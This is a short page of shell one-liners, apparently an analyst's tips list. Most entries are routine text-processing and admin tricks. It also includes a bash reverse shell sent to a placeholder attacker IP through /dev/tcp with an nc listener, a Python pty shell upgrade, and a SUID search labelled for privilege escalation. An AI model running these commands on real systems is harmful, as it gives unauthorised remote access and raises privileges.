Various Shell Tricks


Quickest way to get your ssh key to a remote host:
ssh-copy-id username@host.example.com

Shuffle items in a file:
cat file.txt | perl -MList::Util=shuffle -e 'print shuffle(<STDIN>);' >file-shuffled.txt

Count the number of comma-separated items on each line in a file:
cat file.txt |perl -ne 'print 1+@{[/,/g]},"\n"'

Count number of comma-separated items on each line in a file, and generate average of items:
cat file.txt |perl -ne 'print 1+@{[/,/g]},"\n"' |awk '{ sum += $1; n++ } END { if (n > 0) print sum / n; }'

Give the average of a list of numbers in a file:
cat numbers-list.txt |awk '{ sum += $1; n++ } END { if (n > 0) print sum / n; }'

Go through multiple host output, only print fully-qualified domain name:
for i in `cat ip-list.txt | awk '{print $1}'`; do host $i |rev |cut -d\  -f1 |rev;done

Spawn a full shell from Python
python -c 'import pty;pty.spawn("/bin/bash")'

Redirect bash output to a TCP socket
# on remote host:
/bin/bash -i >& /dev/tcp/yo.ur.ip.addr/6666 0>&1

# on local host:
nc -l -n -v -p 6666
# And wait for incoming bash shell

Find SUID/SGUID files on Linux for privilege escalation
find / -user root -perm -4000 -print 2>/dev/null

Move entire contents of one directory to another in Linux
tar cf - . |(cd /path/to/target/directory; tar xfBp - )

HowToAnalyst Tips